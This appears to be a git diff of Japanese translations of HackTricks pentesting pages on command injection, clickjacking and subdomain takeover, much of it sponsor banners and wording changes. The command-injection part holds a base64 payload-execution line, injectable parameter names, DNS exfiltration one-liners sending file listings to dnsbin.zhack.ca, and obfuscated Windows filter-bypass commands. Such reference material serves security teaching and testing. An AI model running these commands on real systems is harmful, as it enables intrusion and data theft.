* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
|
||||
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -219,7 +215,7 @@ _アカウントの一部のプライベートな詳細情報(あなただけ
|
|||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
|
|
|
@ -7,12 +7,12 @@
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
@ -48,7 +48,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||
```
|
||||
### 制限のバイパス
|
||||
|
||||
もしLinuxマシン内で**任意のコマンドを実行**しようとしている場合、以下の**バイパス**について読むことが役立ちます:
|
||||
もしもあなたがLinuxマシン内で**任意のコマンドを実行**しようとしている場合、以下のバイパスについて読むことが役立つでしょう:
|
||||
|
||||
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
|
||||
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
|
@ -62,7 +62,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
|||
```
|
||||
### パラメータ
|
||||
|
||||
以下は、コードインジェクションや類似のRCE脆弱性に対して脆弱性のある可能性のあるトップ25のパラメータです([リンク](https://twitter.com/trbughunters/status/1283133356922884096)から):
|
||||
以下は、コードインジェクションや同様のRCE脆弱性に対して脆弱性のある可能性のあるトップ25のパラメータです([リンク](https://twitter.com/trbughunters/status/1283133356922884096)から):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
|
@ -106,7 +106,7 @@ sys 0m0.000s
|
|||
```
|
||||
### DNSベースのデータの外部流出
|
||||
|
||||
`https://github.com/HoLyVieR/dnsbin`からのツールを利用して、dnsbin.zhack.caでホストされています。
|
||||
`https://github.com/HoLyVieR/dnsbin`からのツールを使用して、dnsbin.zhack.caでホストされています。
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
|
@ -116,54 +116,14 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Windowsの場合、コマンドインジェクションのフィルタリングをバイパスするためのいくつかのテクニックがあります。
|
||||
オンラインツールを使用して、DNSベースのデータの外部流出をチェックする方法:
|
||||
|
||||
##### 1. シングルクォートの使用
|
||||
* dnsbin.zhack.ca
|
||||
* pingb.in
|
||||
|
||||
シングルクォート(')を使用して、コマンドの引数をエスケープすることができます。これにより、フィルタリングされた文字列をバイパスすることができます。
|
||||
### フィルタリング回避
|
||||
|
||||
例:
|
||||
```
|
||||
'; <command> ;'
|
||||
```
|
||||
|
||||
##### 2. パイプの使用
|
||||
|
||||
パイプ(|)を使用して、コマンドの出力を別のコマンドにリダイレクトすることができます。これにより、フィルタリングを回避してコマンドを実行することができます。
|
||||
|
||||
例:
|
||||
```
|
||||
<command> | <command>
|
||||
```
|
||||
|
||||
##### 3. ダブルクォートの使用
|
||||
|
||||
ダブルクォート(")を使用して、コマンドの引数をエスケープすることができます。これにより、フィルタリングされた文字列をバイパスすることができます。
|
||||
|
||||
例:
|
||||
```
|
||||
"<command>"
|
||||
```
|
||||
|
||||
##### 4. バッククォートの使用
|
||||
|
||||
バッククォート(`)を使用して、コマンドを実行することができます。これにより、フィルタリングを回避してコマンドを実行することができます。
|
||||
|
||||
例:
|
||||
```
|
||||
`<command>`
|
||||
```
|
||||
|
||||
##### 5. コマンドの分割
|
||||
|
||||
コマンドを複数の部分に分割して実行することができます。これにより、フィルタリングを回避してコマンドを実行することができます。
|
||||
|
||||
例:
|
||||
```
|
||||
<command1> & <command2>
|
||||
```
|
||||
|
||||
これらのテクニックを使用することで、Windowsでのコマンドインジェクションのフィルタリングをバイパスすることができます。ただし、これらのテクニックはセキュリティ上のリスクを伴うため、慎重に使用する必要があります。
|
||||
#### Windows
|
||||
```
|
||||
powershell C:**2\n??e*d.*? # notepad
|
||||
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
|
||||
|
@ -189,17 +149,17 @@ powershell C:**2\n??e*d.*? # notepad
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -4,29 +4,29 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有**するには、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## ドメインの乗っ取り
|
||||
|
||||
スコープ内で**サービスに使用されているドメイン(domain.tld)**を発見した場合、**企業**が**所有権を失った**可能性があります。安価な場合は、それを**登録**して企業に知らせることができます。このドメインが**GET**パラメータや**Referer**ヘッダーを介してセッションクッキーなどの**機密情報**を受け取っている場合、これは間違いなく**脆弱性**です。
|
||||
スコープ内で使用されている**サービスによって使用されているドメイン(domain.tld)**を発見した場合、**企業**が**所有権を失った**可能性があります。安価な場合は、それを**登録**して企業に知らせることができます。このドメインが**GET**パラメータや**Referer**ヘッダーを介してセッションクッキーなどの**機密情報**を受け取っている場合、これは確実に**脆弱性**です。
|
||||
|
||||
### サブドメインの乗っ取り
|
||||
|
||||
企業のサブドメインが**登録されていない名前のサードパーティサービス**を指している場合、このサードパーティサービスで**アカウント**を**作成**し、使用中の**名前**を**登録**することで、サブドメインの乗っ取りを実行できます。
|
||||
企業のサブドメインが**登録されていない名前のサードパーティサービス**を指している場合、この**サードパーティサービス**で**アカウント**を**作成**し、使用中の**名前**を**登録**することで、サブドメインの乗っ取りを実行できます。
|
||||
|
||||
乗っ取りの可能性をチェックするための辞書を持ついくつかのツールがあります:
|
||||
|
||||
|
@ -52,16 +52,16 @@ bbot -t evilcorp.com -f subdomain-enum
|
|||
|
||||
ドメインでDNSワイルドカードが使用されている場合、明示的に異なるアドレスが指定されていないそのドメインのサブドメインのリクエストは、**同じ情報に解決**されます。これはA IPアドレス、CNAMEなどです。
|
||||
|
||||
例えば、`*.testing.com`が`1.1.1.1`にワイルドカード設定されている場合、`not-existent.testing.com`は`1.1.1.1`を指しています。
|
||||
たとえば、`*.testing.com`が`1.1.1.1`にワイルドカード指定されている場合、`not-existent.testing.com`は`1.1.1.1`を指しています。
|
||||
|
||||
ただし、IPアドレスではなく、システム管理者が**CNAME経由でサードパーティサービス**(たとえば、**githubのサブドメイン**)を指定した場合、攻撃者は自分自身のサードパーティページ(この場合はGihub)を作成し、`something.testing.com`がそこを指していると主張することができます。**CNAMEワイルドカード**が同意するため、攻撃者は被害者のドメインの任意のサブドメインを自分のページを指すように生成できます。
|
||||
ただし、IPアドレスではなく、システム管理者が**CNAME経由でサードパーティサービス**(たとえば、**githubのサブドメイン**)を指すようにした場合、攻撃者は自分自身のサードパーティページ(この場合はGihub)を作成し、`something.testing.com`がそこを指していると主張することができます。**CNAMEワイルドカード**が同意するため、攻撃者は被害者のドメインの任意のサブドメインを自分のページを指すように生成できます。
|
||||
|
||||
この脆弱性の例は、CTFの解説で見つけることができます:[https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
|
||||
## サブドメイン乗っ取りの悪用
|
||||
|
||||
**この情報は**[**https://0xpatrik.com/subdomain-takeover/**](https://0xpatrik.com/subdomain-takeover/) **からコピーされました**
|
||||
|
||||
最近、私は[サブドメイン乗っ取りの基礎](https://0xpatrik.com/subdomain-takeover-basics/)について書きました。この概念は一般的に理解されているものの、サブドメイン乗っ取りがもたらすリスクを把握するのに苦労している人々が多いことに気付きました。この記事では、私の視点からサブドメイン乗っ取りの最も注目すべきリスクについて詳しく説明します。
|
||||
最近、私は[サブドメイン乗っ取りの基礎](https://0xpatrik.com/subdomain-takeover-basics/)について書きました。この概念は一般的に理解されているものの、サブドメイン乗っ取りがもたらすリスクを把握するのに苦労する人々が多いことに気付きました。この記事では、私の視点からサブドメイン乗っ取りの最も注目すべきリスクについて詳しく説明します。
|
||||
|
||||
_注: いくつかのリスクはクラウドプロバイダによって暗黙的に軽減されます。たとえば、Amazon CloudFrontでサブドメイン乗っ取りが可能な場合、TXTレコードを設定してSPFチェックをバイパスする方法はありません。したがって、この記事は一般的なサブドメイン乗っ取りのリスクを提供することを目的としています。ただし、これらのほとんどはクラウドプロバイダにも適用されます。_
|
||||
|
||||
|
@ -71,11 +71,11 @@ _注: いくつかのリスクはクラウドプロバイダによって暗黙
|
|||
|
||||
![DNS解決](https://0xpatrik.com/content/images/2018/05/resolution-2.png)
|
||||
|
||||
ステップ#7では、_anotherdomain.com_ではなく_sub.example.com_がリクエストされていることに注意してください。これは、Webブラウザが _anotherdomain.com_ の存在すら認識していないためです。CNAMEレコードが使用されているにもかかわらず、ブラウザのURLバーには_sub.example.com_が表示されます。これがブラウザの**透明性**です。これを考えると、ブラウザはドメインに関する正確な情報を提供するためにDNSリゾルバにすべての信頼を置いています。要するに、サブドメイン乗っ取りは、インターネット全体で特定のドメインに対するDNSスプーフィングです。なぜなら、影響を受けるドメインでDNS解決を実行するブラウザは、攻撃者によって設定されたAレコードを受け取るからです。その後、ブラウザはこのサーバから受け取った内容を表示します(それが正当なものであると思っています)。
|
||||
ステップ#7では、_anotherdomain.com_ではなく_sub.example.com_がリクエストされていることに注意してください。これは、Webブラウザが _anotherdomain.com_ の存在すら認識していないためです。CNAMEレコードが使用されているにもかかわらず、ブラウザのURLバーには_sub.example.com_が表示されます。これがブラウザの**透明性**です。これを考えると、ブラウザはドメインに関する正確な情報を提供するためにDNSリゾルバにすべての信頼を置いています。要するに、サブドメイン乗っ取りはインターネット全体の特定のドメインに対するDNSスプーフィングです。なぜなら、影響を受けるドメインでDNS解決を実行するブラウザは、攻撃者によって設定されたAレコードを受け取るからです。その後、ブラウザはこのサーバから受け取った内容を表示します(それが正当なものであると思っています)。
|
||||
|
||||
このようなドメインはフィッシングに最適なシナリオを作り出します。攻撃者はしばしば[_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting)やいわゆる[_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger)を使用して、フィッシングの目的で正規のドメイン/ウェブサイトを模倣します。攻撃者がいくつかの正規のドメイン名を乗っ取ると、通常のユーザーはドメインのコンテンツが正規のパーティーによって提供されているのか、攻撃者によって提供されているのかを判断することはほぼ不可能です。たとえば、ランダムな銀行を考えてみましょう。もし銀行のサブドメインの一つがサブドメイン乗っ取りの脆弱性を持っている場合、攻撃者は銀行のインターネットバンキングシステムのログインフォームを模倣したHTMLフォームを作成することができます。その後、攻撃者はユーザに対してログインしてパスワードを変更するように求めるスピアフィッシングやマスフィッシングキャンペーンを実行することができます。この段階では、パスワードは質問されたドメインを制御している攻撃者によってキャプチャされます。フィッシングメールに記載されているURLは銀行の正規のサブドメインです。したがって、ユーザは何か悪意のあることが起こっていることに気付いていません。スパムフィルターやその他のセキュリティ対策も、信頼性の高いドメイン名を含むドメイン名を含むメールをスパムや悪意のあるものとして認識する可能性は低いです。
|
||||
このようなドメインはフィッシングに最適なシナリオを作り出します。攻撃者はしばしば[_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting)やいわゆる[_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger)を使用して、フィッシングのために正当なドメイン/ウェブサイトを模倣します。攻撃者がいくつかの正当なドメイン名を乗っ取ると、通常のユーザーはそのドメインのコンテンツが正当な当事者によって提供されているのか、攻撃者によって提供されているのかを判断することはほぼ不可能です。たとえば、ランダムな銀行を考えてみましょう。もし銀行のサブドメインの一つがサブドメイン乗っ取りの脆弱性を持っている場合、攻撃者は銀行のインターネットバンキングシステムのログインフォームを模倣したHTMLフォームを作成することができます。その後、攻撃者はユーザに対してログインしてパスワードを変更するように求めるスピアフィッシングやマスフィッシングキャンペーンを実行することができます。この段階では、パスワードは質問されたドメインを制御している攻撃者によってキャプチャされます。フィッシングメールに記載されているURLは銀行の正当なサブドメインです。したがって、ユーザは何か悪意のあることが起こっていることに気付いていません。スパムフィルターやその他のセキュリティ対策も、より信頼性の高いドメイン名を含むドメインを含むメールをスパムや悪意のあるものとして認識する可能性は低いです。
|
||||
|
||||
実際に、ドメイン名自体が成功したキャンペーンにおいて重要な役割を果たします。サブドメイン乗っ取りの脆弱性を持つ5番目のレベルのサブドメインを持つことは、フレンドリーなサブドメイン名を持つ2番目のレベルのサブドメインを持つことよりもはるかに「正当」ではありません。私はいくつかの完璧なフィッシング用サブドメインを見ましたが、以下のようなものがあります:
|
||||
実際に、ドメイン名自体が成功したキャンペーンにおいて重要な役割を果たします。サブドメイン乗っ取りの脆弱性を持つ5番目のレベルのサブドメインを持つことは、友好的なサブドメイン名を持つ2番目のレベルのサブドメインを持つことよりもはるかに「正当」ではありません。私はいくつかの完璧なフィッシング用サブドメインを見ました。例えば:
|
||||
|
||||
* _purchases.SOMETHING.com_
|
||||
* _www.SOMETHING.com_
|
||||
|
@ -84,9 +84,9 @@ _注: いくつかのリスクはクラウドプロバイダによって暗黙
|
|||
|
||||
これらすべてがサブドメイン乗っ取りの脆弱性を持っていました。これらすべてが大手ブランドでした。完璧なフィッシングについて話していますか?
|
||||
|
||||
それにもかかわらず、最近のフィッシングキャンペーンでは、ブランド名を含む長いドメイン名のドメインにコンテンツをホストしています([Appleの例](https://www.phishtank.com/target\_search.php?target\_id=183\&valid=y\&active=All\&Search=Search)を参照)。有効なSSL証明書(以下で詳しく説明します)、ドメイン名にキーワード、および対象ブランドのウェブサイトを模倣したウェブサイトを持つことで、人々はこれらの攻撃に引っかかる傾向があります。このブランドの正規のサブドメインを考えてみてください。
|
||||
それにもかかわらず、最近のフィッシングキャンペーンでは、ブランド名を含む長いドメイン名のドメインにコンテンツをホストしています([Appleの例](https://www.phishtank.com/target\_search.php?target\_id=183\&valid=y\&active=All\&Search=Search)を参照)。有効なSSL証明書(以下で詳しく説明します)、ドメイン名にキーワード、および対象ブランドのウェブサイトを模倣したウェブサイトを持つことで、人々はこれらの攻撃に引っかかる傾向があります。このブランドの正当なサブドメインを考えてみてください。
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、**自動化**することができます。\
|
||||
|
@ -104,7 +104,7 @@ _注: いくつかのリスクはクラウドプロバイダによって暗黙
|
|||
|
||||
### クッキーの盗み出し <a href="#cookiestealing" id="cookiestealing"></a>
|
||||
|
||||
これはブラウザの透明性と関連していますが、異なる結果をもたらします。Webブラウザは、悪意のあるウェブサイトが被害を引き起こすのを防ぐために多くのセキュリティポリシーを実装しています。これには、[同一生成元ポリシー](https://en.wikipedia.org/wiki/Same-origin\_policy)などが含まれ
|
||||
これはブラウザの透明性と密接に関連していますが、異なる結果をもたらします。Webブラウザは、悪意のあるウェブサイトが被害を引き起こすのを防ぐために多くのセキュリティポリシーを実装しています。これには、[同一生成元ポリシー](https://en.wikipedia.org/wiki/Same-origin\_policy)などが含まれます。ブラウザの主なセキュリティ責
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Set-Cookie: name=value
|
||||
|
@ -114,34 +114,34 @@ Set-Cookie: name=value
|
|||
HTTP/1.1 200 OK
|
||||
Set-Cookie: name=value; domain=example.com
|
||||
```
|
||||
クッキーは、_example.com_だけでなく、_subdomain.example.com_などの他のサブドメインにも含まれます。この動作は、サブドメインの乗っ取りを利用した重大な攻撃の可能性を生み出します。特定のドメインがワイルドカードドメインのセッションクッキーを使用している場合、サブドメインのうち1つがサブドメインの乗っ取りに対して脆弱である場合、ユーザーのセッショントークンを収集するためには、脆弱なサブドメインを訪れるようにユーザーをだますだけです。セッションクッキーは、HTTPリクエストとともに自動的に送信されます。
|
||||
クッキーは、_example.com_だけでなく、_subdomain.example.com_などの他のサブドメインにも含まれます。この動作は、サブドメインの乗っ取りを利用した重大な攻撃の可能性を生み出します。特定のドメインがワイルドカードドメインのセッションクッキーを使用している場合、サブドメインのうち1つがサブドメインの乗っ取りに対して脆弱である場合、ユーザーのセッショントークンを収集するためには、脆弱なサブドメインを訪れるようにユーザーをだますことだけです。セッションクッキーは、HTTPリクエストとともに自動的に送信されます。
|
||||
|
||||
ブラウザは、クッキーに対して追加のセキュリティメカニズムも実装しています:
|
||||
|
||||
* **HttpOnlyクッキー** - クッキーは、通常、クッキーを作成したウェブサイトのコンテキストで実行されるJavascriptコードからアクセスできます。Javascriptは、クッキーを読み取り、更新、削除することができます。ウェブサーバーによって設定される_HttpOnly_クッキーフラグは、特定のクッキーにJavascriptコードからアクセスできないことを示します。それを取得する唯一の方法は、HTTPリクエストとレスポンスヘッダーを介してです。
|
||||
* **Secureクッキー** - ウェブサーバーによって_Secure_フラグが設定された場合、クッキーはHTTPSが使用されている場合にのみウェブサーバーに通信されます。
|
||||
* **Secureクッキー** - クッキーがウェブサーバーによって設定された_Secure_フラグを持っている場合、HTTPSが使用されている場合にのみ、クッキーをウェブサーバーに通信できます。
|
||||
|
||||
ドメインがサブドメインの乗っ取りに対して脆弱である場合、攻撃者は過去にそのドメインから発行されたクッキーを収集することができます。HttpOnlyフラグとSecureフラグは助けになりません。なぜなら、クッキーはJavascriptを使用してアクセスされていないためであり、取得したドメインに対してSSL証明書を簡単に生成することができます。
|
||||
|
||||
クッキーの乗っ取りによる情報の盗み出しは、Arne Swinnenによるバグバウンティの[報告書](https://hackerone.com/reports/172137)で説明されています。この報告書では、_Ubiquiti Networks_のサブドメイン(_ping.ubnt.com_)の問題が説明されています。このサブドメインは、サブドメインの乗っ取りに対して脆弱であり、未確認のAWS CloudFrontディストリビューションを指しています。Ubiquiti Networksはワイルドカードセッションクッキーを使用してSSOを実装しているため、_ping.ubnt.com_を訪れるすべてのユーザーのセッションクッキーが盗まれる可能性があります。このドメインがAWS CloudFrontを指しているにもかかわらず、CloudFrontディストリビューションの設定では、各リクエストでクッキーをログに記録することができます。したがって、サブドメインがAWS CloudFrontを指している場合でも、セッションクッキーを抽出するシナリオは完全に可能です。Arneは2017年にも[UberのSSOシステム](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/)に対して同様の攻撃手法を実証しました。
|
||||
クッキーの乗っ取りによる情報の盗み出しは、Arne Swinnenによるバグバウンティの[報告書](https://hackerone.com/reports/172137)で説明されています。この報告書では、_Ubiquiti Networks_のサブドメイン(_ping.ubnt.com_)の問題が説明されています。このサブドメインは、サブドメインの乗っ取りに対して脆弱であり、未使用のAWS CloudFrontディストリビューションを指しています。Ubiquiti Networksはワイルドカードセッションクッキーを使用してSSOを実装しているため、_ping.ubnt.com_を訪れるすべてのユーザーのセッションクッキーを盗むことができます。このドメインはAWS CloudFrontを指しているにもかかわらず、CloudFrontディストリビューションの設定では、各リクエストでクッキーをログに記録することができます。したがって、サブドメインがAWS CloudFrontを指している場合でも、セッションクッキーを抽出するシナリオは完全に可能です。2017年、Arneは[UberのSSOシステム](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/)に対しても同様の攻撃手法を実証しました。
|
||||
|
||||
